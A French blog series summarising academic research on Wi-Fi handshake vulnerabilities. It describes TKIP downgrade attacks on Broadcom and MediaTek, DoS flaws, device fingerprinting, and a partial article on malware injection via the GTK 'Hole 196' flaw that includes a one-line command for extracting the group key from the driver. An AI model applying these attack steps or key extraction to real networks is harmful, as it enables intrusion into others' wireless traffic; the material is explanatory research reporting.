Broadcom ne fait pas la différence entre les messages 2 et 4. La différence entre ces deux messages est que le message 2 contient des données dans le champs key data alors que ce champs est vide dans le message 4. Plus précisément, le message 2 contient l’élément RSNE. Malgré cela Broadcom ne vérifie pas que ce champs est bien vide lorsqu’il reçoit un message 4. Ce qui signifie que si le client re joue le message 2 à la place du 4 et bien Broadcom va le traiter comme un message 4. Notons que si on est en WPA2, il existe une autre différence entre ces messages. Le message 4 possède le drapeau Secure alors que ce n’est pas le cas pour le message 2. Broadcom va vérifier la présence de ce drapeau en message 4. Nous pouvons donc dire que la vulnérabilité de confusion des messages 2 et 4 n’est présente chez Broadcom qu’avec du WPA1.

Analyse de vulnérabilité
Cette faille va donc pouvoir être exploitée en faisant rejouer le message 2 à la place du message 4 par le client d’un point d’accès Broadcom. Il est surprenant de constater que dans la définition du standard 802.11, le message 4 n’a qu’une fonction de fiabilité et non de sécurité:
« While Message 4 serves no cryptographic purpose, it serves as an acknowledgment to Message 3. It is requiered to ensure reliability and to inform the authenticator that the supplicant has installed PTK.. »
Malgré cela, les chercheurs ont découvert que le message 4 était essentiel dans la prévention des attaques de downgrade contre le 4 ways handshake. Cela va donc à l’encontre de ce qui est écrit dans la définition du standard 802.11.
La conclusion étant que dans une bonne implémentation du 4 ways handshake le message 4 devrait être vérifié avant de considérer que le handshake s’est effectué avec succès.

L’attaque de downgrade
Le but est de forcer le point d’accès à utiliser TKIP même si il support CCMP et que le client aussi.
On commence par mettre en place un faux point d’accès qui se placera en ‘man in the middle’ entre le client et le point d’accès attaqué. Ce faux point d’accès va modifier tous les beacons et les probe responses afin de faire croire que le point d’accès légitime n’accepte que TKIP. Ceci aura pour effet que le client va demander au légitime point d’accès de se connecter en utilisant TKIP pour le cryptage. A cet instant, l’attaquant renvoie les deux premiers messages du 4 ways handshake , message 1 et message 2 sans les modifier. Il va par contre devoir bloquer le message 3 et s’assurer que le client ne le reçoive jamais. Il est très important que ce message 3 soit bloqué car il contient le RSNE du point d’accès qui comporte à la fois le TKIP et le CCMP. Ce RSNE est donc bien différent de celui envoyé dans les beacons et les probe request de l’attaquant et le client aurait abandonné le handshake si il avait reçu le message 3.
Désormais l’attaquant peut exploiter le fait que Broadcom ne sait pas faire la différence entre les messages 2 et 4. Il faut ici noter que ces messages ne peuvent être forgés directement car ils sont protégés par un MIC. Nous devons donc forcer le client à renvoyer un message 2 valide en augmentant juste le compteur de replay. Ceci ce fait en forgeant un message 1 (non protégé par MIC). La retransmission du message 2 est envoyée au point d’accès qui va faire l’erreur de le traiter comme un message 4. Le point d’accès pense désormais que le 4 ways handshake s’est déroulé avec succès et va donc installer les clés de session pour activer la transmission du trafic crypté. Après cette attaque, le point d’accès crypte les frames en utilisant TKIP comme le premier message du group key. Cependant, étant donné que le client n’a jamais reçu le message 3, il n’a pas pu compléter son handshake et ne pourra donc correctement lire les frames cryptées. Néanmoins il est problématique que nous ayons pu forcer le point d’accès à utiliser TKIP alors que CCMP était présent sur les deux appareils.

DISCUSSION
Afin de réaliser cette attaque, l’attaquant doit se mettre en position MITM entre le client et le point d’accès. Une approche naïve serait de mettre en place un faux point d’accès avec une adresse MAC différente de celle du point d’accès légitime. Malheureusement, l’utilisation d’une autre adresse MAC va interférer dans le handshake car la négociation des clés de session dépend entre autres des adresses MAC du client et du point d’accès. Utiliser la même adresse MAC que celle du point d’accès n’est pas non plus la solution car le client et le point d’accès légitime commenceront tout simplement leur communication. La bonne solution est donc de mettre en place un MITM basé sur les canaux. Cela revient à cloner le point d’accès qu’on attaque sur un autre canal. Ce qui permet de garder la même adresse MAC.

VÉRIFICATION DU RSNE INSUFFISANTE
Plusieurs implémentations ne se comportent pas correctement lors de la vérification du RSNE. Cela inclut un mauvais parsing dans les association requests ou un échec d’une bonne comparaison avec le RSNE du message 2. Telenet et MediaTek ne comparent pas l’élément RSNE reçu en message 2 avec celui de l’association request. Même si cela ne mène pas directement à une attaque, cela donne une idée de la manière avec laquelle le code est écrit 🙁 . Windows 7 & 10 n’interprètent pas le RSNE des associations requests. Même si le réseau ne supporte que du CCMP, un client peut demander du TKIP que ce soit pour le cryptage pairwise ou celui de groupe. Plus encore, il est autorisé de demander deux cryptages pairwise , ce qui est normalement impossible. Dans tous les cas Windows agit comme si on avait demandé CCMP pour le pairwise et le cryptage de groupe.

MediaTek Downgrade : vérification du client
Sachant que Telenet et MediaTek ne vérifie pas le RSNE en message 2, on peut penser qu’ils ne le font pas non plus pour le message 3. Notons ici que cela ne s’applique que si le routeur a les deux fonctionnalités : point d’accès et client.
Il n’y a que MediaTek qui soit dans ce cas.
Afin de tester si l’implémentation en mode client de MediaTek vérifie le RSNE en message 3 il faut modifier l’hostapd. La version modifiée inclut toujours CCMP dans le RSNE du message 3 même si il n’y a que TKIP d’activé. De plus elle ne va broadcaster que du TKIP ce qui fera que les RSNE des beacons et probe response (TKIP) seront différent de celui du message 3. Le client devrait noter la différence et abandonner le handshake. Il n’en est rien car MediaTek ne détecte pas la différence et se connecte au hostapd modifié. Un attaquant peut donc effectuer une attaque de downgrade contre MediaTek en clonant simplement le réseau et en ne broadcastant que du TKIP. Ceci est particulièrement ennuyeux car la fonctionnalité ‘client’ de MediaTek est utilisée pour étendre la portée d’un autre point d’accès. Ce qui implique lors d’une attaque que tous le trafic de tous les appareils connectés au routeur Mediatek seront renvoyés à travers une connexion qui aura été downgradée en TKIP.

Découvertes spécifiques par implémentation

BROADCOM
Il est étrange d’observer que l’implémentation de Broadcom répond avec une disassociation frame lorque le client envoi une frame EAPOL avant d’être associé au point d’accès. Les autres implémentations répondent avec une deauthentication frame. Ce comportement inhabituelle peut être utilisé afin d’isoler et d’identifier (fingerprint) Broadcom.
Comme nous l’avons vu précédement, Broadcom ne fais pas la distinction entre les messages 2 et 4 du 4 ways handshake : un attaquant peut donc downgrader le point d’accès et le forcer à utiliser TKIP. Nous avons aussi vu qu’il y avait une faille DOS qui rend le réseau inopérant. Finalement rappelons que Broadcom n’interprète pas correctement certaines parties du RSNE dans les associations requests.

Hostapd
Hostapd 0.7.2 et les versions ultérieures sont vulnérables à l’attaque de la contre mesure impossible TKIP. Nous observons aussi qu’hostapd dé authentifie instantanément le client si WPA1 est utilisé et que le message 2 a son Secure bit activé au lieu de simplement ignorer le message. Ceci peut nous aider à identifier (fingerprint) Hostapd.

OpenBSD
Nous avons vu que cette implémentation était vulnérable à une attaque DOS si on envoie deux rapports d’échec MIC. Heureusement cette attaque ne s’applique que sur le TKIP. Cette vulnérabilité a été transmise à OPenBSD qui l’a depuis corrigée.

Telenet
Affectée par l’attaque de la contre mesure TKIP impossible, implémentation Telenet ne compare pas les RSNE reçu en association request et message 2 pour savoir si ils correspondent.

MediaTek
MediaTek ne vérifie pas le RSNE dans les messages 2 et 3 du handshake. Cela peut donc conduire à une attaque de downgrade si le client utilise l’implémentation MediaTek du handshake. Un attaquant peut aussi lancer une attaque DOS. Il injecte pour ce faire un message 2 forgé avec un Anonce aléatoire et un MIC invalid juste après que le client ait envoyé le véritable message 2. A sa réception, MediaTek génère une nouvelle PTK du fait de la nouvelle valeur du Anonce. Le problème est que cette nouvelle PTK est sauvegardée comme la bonne PTK avant que le MIC du message soit vérifié. Normalement si le MIC n’est pas bon, la PTK ne devrait pas être sauvée.

Windows
Mauvaise interprétation du RSNE des association requests par Windows 7 & 10. De plus en message 2 le point d’accès ignore la suite de cryptage de groupe. Windows 10 est vulnérable à l’attaque de la contre mesure impossible TKIP. Plus encore, cette attaque abouti à un réseau inopérant et ce de manière permanente pour Windows 10, le redémarrage étant la seule solution.
En ce qui concerne Windows 7, une DOS ciblée sur un client est possible. Il suffit pour cela d’envoyer deux associations request de suite avec la MAC de la victime. Cela a pour conséquence de bloquer la victime qui ne peut plus se connecter au réseau.

Aerohive
Les tests ont été fait sur un Aerohive HiveAP 330, qui est un point d’accès de type professionnel niveau industriel.
Un attaquant peut déclencher les contre mesures TKIP même si le réseau n’implémente que CCMP. De ce fait il peut faire tomber tout le réseau en injectant 2 frame par minute. Cette vulnérabilité a été signalée et est corrigée dans la version 6.5r6

Cisco Aironet
Aironet est la seule implémentation où l’insertion d’authentication request n’impacte pas l’exécution d handshake.Par exemple, si le client envoie une authentication request après l’association ou pendant le handshake, le point d’accès ne redémarre pas le handshake. Les autres implémentations vont annuler le handshake dans les mêmes conditions. Bien que cela ne pose pas de réels risques de sécurité, ce comportement peut néanmoins vous servir à isoler un appareil Cisco Aironet (fingerprint)

Voilà pour la fin de cette étude sur les vulnérabilités du handshake dans divers implémentations.

Peace & Code

Découvertes de vulnérabilités dans le handshake Wi-Fi partie 2

Après avoir détaillé les processus mis en place lorsqu’un client se connecte à un point d’accès sans fil, nous allons dans cette seconde partie tester la sécurité de ces derniers.
Je rappelle que cet article est un résumé des travaux effectués par trois chercheurs de l’université de Leuven en Belgique :
Mathy Vanhoef, Domien Schepers et Frank Piessens.
Il est bien entendu que les techniques présentées ci-dessous ne sont à tester que dans un environnement de laboratoire où vous êtes le propriétaire de chacun des appareils, toute utilisation hors du contexte de recherche scientifique serait jugée illégale dans la plupart des pays dont la France et vous exposerait inévitablement à des poursuites judiciaires.

APPROCHE GENERALE
Ces trois chercheurs ont donc décidé de tester toutes les étapes du handshake wifi et de le faire « à l’ aveugle » (Black Box)
Pour ce faire ils ont mis en place une série de messages qu’ils vont transmettre au point d’accès. Ils en étudient les réponses (si il y en a) et déterminent si ces échanges ont abouti à une connexion réussie. Idéalement il aurait fallu pouvoir générer toutes les sortes de messages possibles afin de connaître toutes les réactions du point d’accès. En pratique bien évidement un nombre limité de messages sera envoyés et étudiés. Il faut donc bien les choisir. Nos chercheurs sont pour cela parti du handshake normal, celui qui abouti à une connexion et qui sera donc pris comme référence. Ensuite, ils vont s’atteler à altérer et modifier chacun des 4 messages du handshake afin d’étudier les réactions du point d’accès et du client.

REGLES DES TESTS
Deux catégories de règles de test ont été choisies. La première inclut la manipulation des messages dans leur intégralité (on construit et envoie donc un tout nouveau message) alors que la seconde ne va modifier qu’un ou plusieurs paramètres du message.
Ils incluent également dans leurs règles de test la prédiction de la réussite de connexion, c’est à dire que tel ou tel message devrait ou pas conduire à une connexion. Par exemple si on ne fournit délibérément pas un des 4 messages du handshake et bien on peut raisonnablement prédire que la connexion ne se fera pas. Inversement le fait de re jouer un message (replay) devrait quant à lui aboutir à une connexion (car c’est souvent ce qui se passe lorsque vous vous connectez à votre box par exemple).

PREMIERE CATEGORIE DE TEST
1-Suppression des messages:
Dans ces tests, on va délibérément supprimer chacun des 4 messages et analyser ce qui se passe.

2-Injection de messages:
Ici nous allons injecter des messages (et leurs réponses si il y en a) avant que les messages ‘normaux’ ne soient envoyés. On prend de vitesse le processus du 4 ways handshake pour insérer nos messages à la place de ceux générés normalement. Ceci permettra donc aussi de tester la bonne gestion de la retransmission des messages.

SECONDE CATEGORIE DE TEST
C’est ici qu’on va modifier un ou plusieurs paramètres des messages avant de les envoyer.
a) RSNE invalide
Modification des messages d’association request et de message 2 du 4 ways handshake en changeant le RSNE. Souvenez-vous, lors de ces échanges le type de cryptage est décidé et il est soit CCMP ou TKIP. Ces tests vont donc générer des messages avec toutes les combinaisons de type de cryptage possibles et analyser les réactions.

b) Clé EAPOL invalide, altération du champs descriptor type
Ici on va changer la valeur du descriptor type pour la remplacer par une valeur non attendue. Par exemple nous allons inverser la valeur 2 utilisée normalement pour décrire une transmission de type WPA2 par 254 qui représente elle le WPA1 et inversement. D’autres messages contenant des valeurs aléatoires pour le champs descriptor type seront aussi testées.

c) Clé EAPOL invalide, changement du champs key info flags
Le but est de tester toutes les combinaisons possibles du champs key info flags. Il existe 8 drapeaux (flags) Pairwise, Install, Ack, MIC, Secure, Error, Requested et Encrypted. Il y a donc 2 puissance 8 possibilités = 256.

d)Inversion des suites de cryptage dans EAPOL-Key
Ces tests vont utiliser des messages EAPOL-Key protégés par des cryptages différents à chaque message. Cela implique donc aussi la modification de la valeur du sous champs key description version. Donc l’AES avec SHA1 sera remplacé par du RC4 avec du MD5 et inversement.

e)Compteur de replay invalide dans les clés EAPOL
Les messages générés contiennent ici des valeurs de replay counter soit supérieures soit inférieures à la valeur correcte.

f)Invalide Nonce dans les clés EAPOL
Ici on va introduire une valeur Nonce dans un message EAPOL qui ne devrait pas en contenir. Sa valeur sera copiée sur celle du client ou du point d’accès ou alors elle sera tout simplement aléatoire.

g)Clé EAPOL avec MIC invalide
Pour cette série de tests, chaque frame EAPOL sera pourvu d’un MIC invalide, que le drapeau MIC soit présent ou pas dans les drapeaux du key info.

Toutes ces séries de tests se feront sans qu’elles soient combinées les unes aux autres. A la seule exception des règles b et f qui seront testées en même temps.

h)Injection de Nonce
On va injecter un message 1 ou un message 2, avant et après le message valide. Il sera composé d’une valeur Nonce aléatoire et d’un MIC invalide, avec un drapeau MIC présent ou absent dans les drapeaux du key info.

Les chercheurs expliquent qu’avec un tel protocole de test, contrairement au technique de fuzzing aléatoire, les résultats obtenus seront les mêmes si on refait les tests.

Le tableau ci dessous indique les implémentations, la version et le hardware du handhsake wifi qui sont testées.

Implémentation             Version                                Hardware
Broadcom                        5.10.56.46                            RT-N10
Broadcom                        5.10.85.0                              WAG320N
Hostapd                           2.6                                         TL-WN722N
OpenBSD                         6.0 générique 2148            WL-172
Telenet                             30.10.2016                           Home Gateway
MediaTek                         3.0.0.9                                   RT-AC51U
Windows 7                       7601                                      TL-WN722N
Windows 10                     10240                                    TL-WN722N
Apple Airport                   7.6.7                                      Time Capsule
Apple Mac OS                  10.12 sierra                          MacBook Pro
Aerohive                           1.11.2016                              HiveAP 330
Aironet Cisco                   1.11.2016                              Aironet 1130 AG

 

Voilà pour la seconde partie de la série d’articles « Découvertes de vulnérabilités dans le handshake Wi-Fi », dans le prochain et dernier article nous étudierons les résultats obtenus par ces trois chercheurs.

Peace & Code

Découvertes de vulnérabilités dans le handshake Wi-Fi partie 1

Trois chercheurs en sécurité de l’université de Leuven en Belgique viennent de publier un article sur de nouvelles vulnérabilités qui concernent le 4 ways handshake du protocole Wi-Fi.
Rendons à César ce qui lui appartient en l’occurrence ils sont donc 3 :
Mathy Vanhoef, Domien Schepers et Frank Piessens
Nous allons donc dans cet article voir de plus près de quoi il s’agit, attention c’est un peu technique mais vraiment très intéressant !
Je conseille cet article aux lecteurs ayant déjà quelques notions sur le protocole 802.11, notre bien nommé Wi-Fi
Commençons tout d’abord par se rappeler comment tout cela fonctionne.

Les étapes du handshake
1- La découverte du réseau.
Les clients wi-fi peuvent découvrir les réseaux de manière passive en écoutant les beacon frame ou de manière active en envoyant des probe request.
Lorsqu’un AP reçoit une probe request, il répond alors avec un probe response. A la fois les beacons et les probe response contiennent les capacités du réseau wi-fi. Entre autres ceci inclus le Robust Security Network Information Element ou RSNE.
Cet élément contient la suite de cryptage supportée (pairwise suite cypher), le cryptage de groupe qui sera utilisé, ainsi que les capacités de sécurité du point d’accès.
Dans notre modèle la suite de cryptage pourra soit être TKIP ou CCMP. L’encodage du bit-wise diffère selon que l’on utilise WPA1 (TKIP) ou WPA2 (CCMP-AES) bien que les mêmes informations soient présentes dans les deux cas.
Une fois que le client a trouvé le bon réseau auquel se connecter, le handshake peut alors commencer.

2- Authentification & Association
Lors de cette étape, le client débute par s’authentifier, puis il s’associe au point d’accès.
Le standard 802.11 définit 4 méthodes d’authentification :
authentification de système ouvert
authentification par clé partagée
Fast BSS transition
SAE Authentification Simultanée des Égales

La méthode d’authentification SAE offre une authentification basée sur des mots de passe et prétend ainsi être résistante contre les attaques passives, actives et de dictionnaires.
Peu d’appareils supportent ce type d’authentification c’est pourquoi nous ne le traiterons pas.
Le Fast BBS Transition repose sur la dérivation de clés durant une connexion précédente au réseau. De plus, il embarque d’autres étapes du handshake dans les frame d’authentification et d’association. Ceci réduit le temps d’itinérance lorsqu’un client passe d’un point d’accès à un autre. Étant donné qu’il n’est lui aussi pas largement supporté par les routeurs, nous ne le traiterons pas non plus.
L’authentification par clé partagée est basée sur le protocole WEP et de ce fait est donc vulnérable donc nous ne la traiterons pas on plus !!
Nous considérons donc seulement l’authentification par système ouvert durant la première étape d’authentification. Elle autorise tous clients à s’authentifier.
Sur un réseau qui utilise la sécurité RSN, l’authentification se fera à l’étape 4 pendant le 4 ways handshake.
Une fois authentifié, le client poursuit en s’associant au réseau. Ceci se fait en envoyant un association request au point d’accès.
Cette association request informe le point d’accès des caractéristiques supportées par le client (ex le bit rate)
Plus important encore c’est à cette étape que le client choisit le type de cryptage qu’il veut utiliser. Ce choix est encodé dans l’élément RSNE.
Si le client encode le RSNE avec les conventions de WPA1 (bit wise) c’est donc un handshake de type WPA1 qui sera exécuté, sinon ce sera du WPA2.
Le point d’accès répond avec une association response qui informe le client du succès ou non de l’association.

3- 802.1x Authentification
Cette troisième étape est optionnelle et consiste en une authentification 802.1x à un serveur de type Radius par exemple. Durant cette phase, le point d’accès agit tel un relais entre le client et le serveur d’authentification. En pratique, 802.1x est utilisé dans les réseaux d’entreprise où les utilisateurs peuvent se connecter en utilisant un identifiant et un mot de passe. Le résultat final de cette étape est que le client et le point d’accès partagent une clé Pairwise Master Key secrète.Étant donné que cette étape a déjà été largement étudiée dans d’autres recherches, nous ne l’incluons pas dans notre handshake. A la place nous assumons que le client et le point d’accès partagent déjà une PMK. Ce peut être une PMK mise en cache et provenant d’une connexion ultérieure, ou un PMK dérivée fraîchement d’une PSK.

4 – le 4 ways handshake
La quatrième étape est le 4 way handshake. Elle fournit une authentification mutuelle basée sur la PMK, détecte les possibles attaques de downgrade et négocie une nouvelle clé PTK (pairwise transient key). Les attaques de downgrade sont détectées en vérifiant cryptographiquement les RSNE reçus lors des étapes de découverte et d’association du réseau. Le PTK est dérivé du ANonce, du SNonce et des MAC adresse du client et du AP.
Le 4 ways handshake doit aussi transporter la GTK au client.
Le 4 way handshake est définit en utilisant des frame de type EAPOL.
Premièrement le champs type de description determine la structure inhérente à la keyframe de type EAPOL.
Bien que le WPA1 utilise la valeur 254 pour ce champs et que le WPA2 utilise 2, les deux définissent la même structure d’une frame EAPOL.
Après cette entête de 5 byte, on a le champs information. Il est composé d’un sous champs de description de version de 3 bits et 8 bytes (1bit) pour le drapeau nommé drapeau d’information de clé.
Le champs de description de clé définit la suite de cryptage. utilisée pour protéger la frame. C’est soit de l’AES CCMP dans le cas de WPA2 ou du RC4-HMAC-MD5 pour le WPA1. Le champs du compteur de replay est utilisé pour détecter les frames rejouées. Lorsque le client répond à une frame EAPOL venant de l’authentifiant, il doit le faire avec le même compteur de replay que celui de la frame EAPOL reçu précédemment. Le point d’accès incrémente toujours ce compteur de replay après avoir transmis une frame.
Finalement l’intégrité de la frame est protégée en utilisant un MIC (Message Integrity Check), et le champs de données est crypté si il contient des données sensibles.
Rappelons-nous que l’algorithme utilisé est spécifié dans le champs de description de clé.

Lorsque on utilise WPA2 le receveur d’une frame EAPOL peut différencier les différents message du handshake en inspectant les drapeaux du key info.

MESSAGE 1
Le premier message est envoyé par le point d’accès, il contient un ANonce aléatoire.
Les drapeaux qui doivent être présents sont Pairwise et ACK. label Msg1
Ce message n’est pas protégé par un MIC et peut donc être forgé par un attaquant.
Lorsque le client reçoit ce message et prend connaissance du ANonce, il possède toutes les informations pour calculer le PTK.

MESSAGE 2
Ce message contient le SNonce aléatoire du client et est protégé par un MIC. Les drapeaux du key info sont Pairwise et MIC et sont représentés par le label Msg2
Le champs Data contient le RSNE choisi, qui est composé du cryptage choisi par le client et qui fut définit lors de l’association request. Lorsque le point d’accès reçoit ce message, il peut calculer le PTK , vérifier le MIC et comparer le RSNE choisit dans ce message avec celui du message reçu précédemment lors de l’association request. Si le RSNE est différant alors le handshake est annulé.

MESSAGE 3
Ce message est envoyé par le point d’accès. Il contient le ANonce et est sécurisé avec un MIC. Les drapeaux du key info sont Pairwise, MIC, et Secure. Le champs Key Data contient le RSNE, qui lui-même contient le cryptage supporté par le point d’accès. De plus si WPA2 est utilisé, il contient aussi le GTK crypté. Si c’est du WPA1, le GTK est transféré au client en utilisant un Group Key handshake.
Lorsque le client reçoit ce message, il détermine si son RSNE est identique à celui reçu précédemment lors des beacons et probe (request/erreur/response) Si ils diffèrent, une attaque de downgrade est alors détectée. Et le Handshake est annulé.

MESSAGE 4
Le client envoie se dernier message afin de signifier que le handshake a été correctement exécuté. Ce message est aussi protégé par un MIC. Lors de l’utilisation de WPA, les drapeaux du key info sont Pairwise, MIC et Secure.
Pour du WPA1 c’est juste Pairwise et MIC .
Notons que le message 2 et le message 4 ont les même drapeaux de key info si WPA1 est utilisé. Le seul moyen de les différencier est de regarder si des données sont présentes dans le key Data champs.
Une fois ce dernier message reçu par le point d’accès, la transmission cryptée peut alors débuter.
Bien que le standard 802.11 prétend que ce message n’a pas de but cryptographique, nous verrons qu’il est en fait essentiel dans la prévention d’attaque par downgrade.

ETAPE 5 GROUP KEY HANDSHAKE
Cette dernière étape est utilisée lorsque WPA1 est choisi afin de transporter la clé de groupe au client. Cette clé protège le trafic broadcast et multicast.
Cette procédure est aussi utilisée dans WPA1 et WPA2 afin de renouveler la clé de groupe.

Voilà pour cette première partie de rappel, dans l’article suivant nous entrerons dans le vif du sujet afin de mettre à jours plusieurs failles 🙂 !

En espérant que ceci n’a pas été trop ennuyeux …

Peace & Code

Des centaines de ‘gros’ comptes Twitter hackés

Le Parlement Européen, Forbes, Amnistie Internationale, l’UNICEF, Nike Espagne ..la liste est longue.

Tous ces comptes Twitter affichaient des messages qui comparaient les néerlandais et les allemands à des nazis.
Écris en langue turque les #NaziHollanda ou #Nazialmanya destiné les allemands se sont donc immiscés sur les pages et profiles de centaines d’organisations et de personnalités ayant un compte Twitter. L’image de profile a été changée par un drapeau turc…
Inutile ici de chercher bien loin la nationalité et les motivations des hackers pour ceux qui se tiennent régulièrement informés des actualités internationales.
Pour les autres, un lien vers une vidéo Youtube a été également inséré dans ce hack :
https://www.youtube.com/watch?v=z8cN1W0tanY&feature=youtu.be

Selon l’équipe chargée de la sécurité de Twitter c’est par le biais d’une application tierce : Twitter Counter que ce hack s’est propagé.
Twitter Counter est une application qui analyse votre compte et vous fournit des statistiques.

Les développeurs de cette application ont déclaré être au courant de ce piratage et affirme qu’ils sont en train de mettre en place les contre mesures nécessaires.

Cependant ils nous rassurent en affirmant qu’aucun mot de passe ou identifiants bancaires n’a été compromis car la société ne sauvegarde tout simplement pas ces informations.

Ce n’est pas la première fois que l’on entend parler d’un piratage de grande ampleur sur Twitter et je prends les paris que ce n’est certainement pas la dernière…

Plusieurs milliers de sites WordPress hackés

 
Il n’aura pas fallu attendre longtemps avant que la faille révélée la semaine dernière soit exploitée par les hackers.
En effet on apprenait la semaine dernière qu’une faille critique, découverte sur le très célèbre CMS WordPress, permettait à un attaquant de supprimer et de modifier des pages et donc de pouvoir rediriger les visiteurs du site compromis vers des pages contenants des exploits capables d’infecter leurs machines.

Bien que les développeurs de WordPress aient travaillé vite afin de fournir une semaine plus tard une nouvelle version imperméable à cette attaque, certains administrateurs qui n’ont pas jugés utiles de mettre à jour leur site furent la cible des pirates.

Le chercheur en sécurité de la société Sucuri qui fut à l’origine de la révélation de cette faille dit avoir constaté une augmentation des attaques seulement 48 heures après que l’information fut rendue public. On observait alors au moins 4 types d’attaques exploitant cette nouvelle faille.

L’une d’elles permit aux pirates d’introduire le message « Hacked by » sur plus de 66 000 pages internet.
D’autres variantes avaient des fin publicitaires et commerciales en y insérant des codes qui permettent à certaines marques ou sites internet de se retrouver en tête de liste dans les résultats des moteurs de recherche (cf :Google, Bing, Yahoo, Duck Duck…) Ces

Injection de Malwares dans les réseaux Wi-Fi

De plus en plus présents autour de nous avec tous les nouveaux objets connectés qui nous entourent, les réseaux sans fil n’en sont pas moins vulnérables.
Nous allons ici étudier l’injection de malware à travers ce protocole si prisé.

Attention article un peu technique donc plutôt réservé aux initiés 😉

A- Hiérarchie des clés

Les standards 802.11 utilisent plusieurs niveau de clés crypto pour différentes frames
Il y a cependant 2 Top niveaux de clés possibles qui seront utilisées afin de générer les autres clés de la hiérarchie.
Ces clés dépendent du type d’authentification choisi pour le réseau wi-fi.
La première clé, pre-shared key est utilisée dans les réseaux de maison ou de petite entreprise
D’un autre côté, les grandes entreprises utilisent l’authentification 802.1x
Ces deux types de clés sont utilisées pour dériver les autres clés appelées Pairwise Master Key PMK, qui sont elles même utilisées pour dériver les Pairwise Transient Key PTK.
Cette clé est unique pour chaque client connecté au réseau et le point d’accès l’utilise afin de crypter la communication entre lui et le client.

Les clés suivantes dans la hiérarchie sont les clés EAPOL qui sont utilisées afin d ‘établir une communication sécurisée et de mettre à jour les clés expirées.
Ces clés sont indépendantes des clés temporaires TK utilisées pour crypter les trafic entre le point d’accès et le client.

Le problème avec le maintien d’une clé individuelle pour chaque client devient évident lorsque l’on a affaire à du trafic multicast ou broadcast. Si N clients sont associés, le point d’accès devra retransmettre N fois la frame en la cryptant avec une clé différente à chaque fois. Afin d’éviter cela, le point d’accès génère une GMK (group master key) aléatoire. A chaque fois qu’un client se dés-associe ou s’associe, le point d’accès dérives une nouvelle Group Transient Key (GTK) à partir de la GMK. Cette GTK est alors délivrée à tous les clients afin afin de crypter et décrypter le trafic broadcast et multicast.
Lorsque les clients se sont connectés au réseau et que toutes les clés cryptographiques sont établies, le cryptage du trafic peut alors commencer.

Le standard 802.11 autorise 2 type d’algorithme de cryptage :

1) TKIP Temporal Key Integrity Protocol annoncé comme le remplaçant du WEP
2) CCMP Counter Mode with Cipher Block Chaining Message Code Protocol qui utilise AES et fournit un niveau élevé de confidentialité , d’intégrité , et de protection face au replay.

GTK VULNERABILITE
Le but du GTK est de crypter les frames broadcast et multicast du côté du point d’accès et de les décrypter sur les clients. Normalement, toutes les communications agissent exactement comme le standard le définit, les client autorisés n’utilisent jamais la clé GTK afin de crypter des frame broadcast ou multicast et tout le trafic venant d’un client est envoyé directement au point d’accès.
Pour cette partie c’est le driver de la carte wi-fi qui est responsable de ne pas autoriser de changement dans la transmission des frames.
Il peut cependant arriver qu’un client autorisé enfreigne les règles standard et devienne de ce fait un attaquant. La conséquence principale de cette faille est que tous les clients autorisés reçoivent et acceptent cette frame malicieuse encryptée avec le GTK en pensant qu’elle provient du point d’accès. Cette vulnérabilité fut publiée au blackHat 2010 https://www.defcon.org/images/defcon-18/dc-18-presentations/Ahmad/DEFCON-18-Ahmad-WPA-Too-WP.pdf
De cette manière un attaquant peut injecter n’importe quel type de frame broadcast / multicast dans un trafic valide et tous les clients connectés l’acceptent en pensant qu’elle est ok et vient du point d’accès. Il existe de multiple manières d’utiliser cette faille. Le papier original décrit ainsi de l ARP Poisoning, de la manipulation de DNS ainsi que des attaque DOS.
Il faut noter la position de la clé GTK dans la hiérarchie du standard 802.11 . GTK ne dépend pas du type d’authentification ni de l’algorithme de cryptage ce qui implique que les deux mode d’authentification sont vulnérables. A la fois PSK mais aussi 802.1x de entreprise ainsi que les deux mode de cryptage CCMP et TKIP.

Notre idée est donc d’utiliser cette faille afin d’injecter un malware dans le réseau wi-fi et ce sans que les systèmes de détection d’intrusion standard (KISMET) puissent s’en apercevoir.

FRAME CRAFTING
Nous allons dans un premier temps décrire le format d’une frame 802.11 ainsi que la création de frame afin de miexu comprendre la notion d’injection de frame dans un réseau sans fil , puis nous discuterons des conditions requises à ces injections de malware.
A. 802.11 frame
L’entête de la frame, comme définie dans le standard 802.11 est composé de champs tels que le champs de contrôle, de durée, le numéro de séquence, trois ou quatre champs d’adresse, le payload (donnée), et le checksum frame.

Field Control Duration Address1 Adress2
Length 2B 2B 6B 6B
Address3 Sequence Address4 Payload FCS
6B 2B 6B 0B-231B 4B

Le champs Frame Control contient de nombreux drapeaux dont les principaux sont :
1)Type/Subtype -Beacon, Data, etc Probe
2)ToDS pour le système de distribution
3)FromDS sors du système de distribution

L’autheur de la faille « Hole 196 » a implémenté un example d’attaque en modifiant le driver de linux. Cette approche est très simple mais elle comporte de nombreux désavantages.
1) Dépendance par rapport au driver
2) Dépendance par rapport à la plateforme
3) Impossibilité de créer une ‘custom frame ‘

Nous avons donc choisi une approche différente basée sur la fabrication d’une frame personnalisée.
Premièrement nous créons une frame MAC 802.11, où on peut simplement personnaliser chaque champs de l’entête.
Afin d’implémenter avec succès la vulnérabilité de la clé GTK, nous devons mettre le drapeau FromDS, l’Address1 en broadcast MAC adresse, l’Address2 en BSSID MAC adresse et le champs de l’Address3 avec celui de la MAC de l’attaquant.
Nous avons appris que chaque frame MAC provient d’un nœud avec une nombre de séquence unique, que le nœud incrémente à chaque fois que la frame est envoyée. Le but du nombre de séquence (sequence number) est d’être utilisé lors du ré assemblement de fragments de frame et les système de détection d’intrusion garde un enregistrement du dernier nombre de séquence (sequence number) de chaque nœud. Si le sequence number de la frame injecté est égale ou inférieure au sequence number courant correspondant au nœud, la frame injectée est alors considérée comme une frame de retransmission ex. duplication de frame et elle est donc écartée.
> Si le sequence number de la frame injectée est supérieur au sequence number courant et inférieur à la taille de la fenêtre , alors le système accepte la frame !!
Un comportement similaire au niveau des sequence number peut être observé avec l’utilisation de TKIP ou CCMP-AES, où l’intégrité de la frame est vérifiée.

La validité de ces sequence number est très importante car si la vérification échoue, la frame sera automatiquement écartée avant qu’elle soit exécutée et les contre mesures seront lancées.
> Le succès de l’injection de frame dépend donc de la validité de la valeur du sequence number.

Il est évident que la frame doit contenir un bon checksum et qu’elle doit aussi être encryptée avec la bonne clé, donc la prochaine étape importante est l’extraction de la clé à partir du driver.
La clé GTK peut aisément être extraite du driver avec une simple commande :
# iwlist wlan0 enc

B La couche de Transport
La couche de transport est situé tout en haut des couches du réseau et elle fournit la communication entre les différents processus. Elle étend l’adresse IP avec une collection de ports, chacun d’entre eux étant capable d’être la source ou la destination entre deux hôtes.
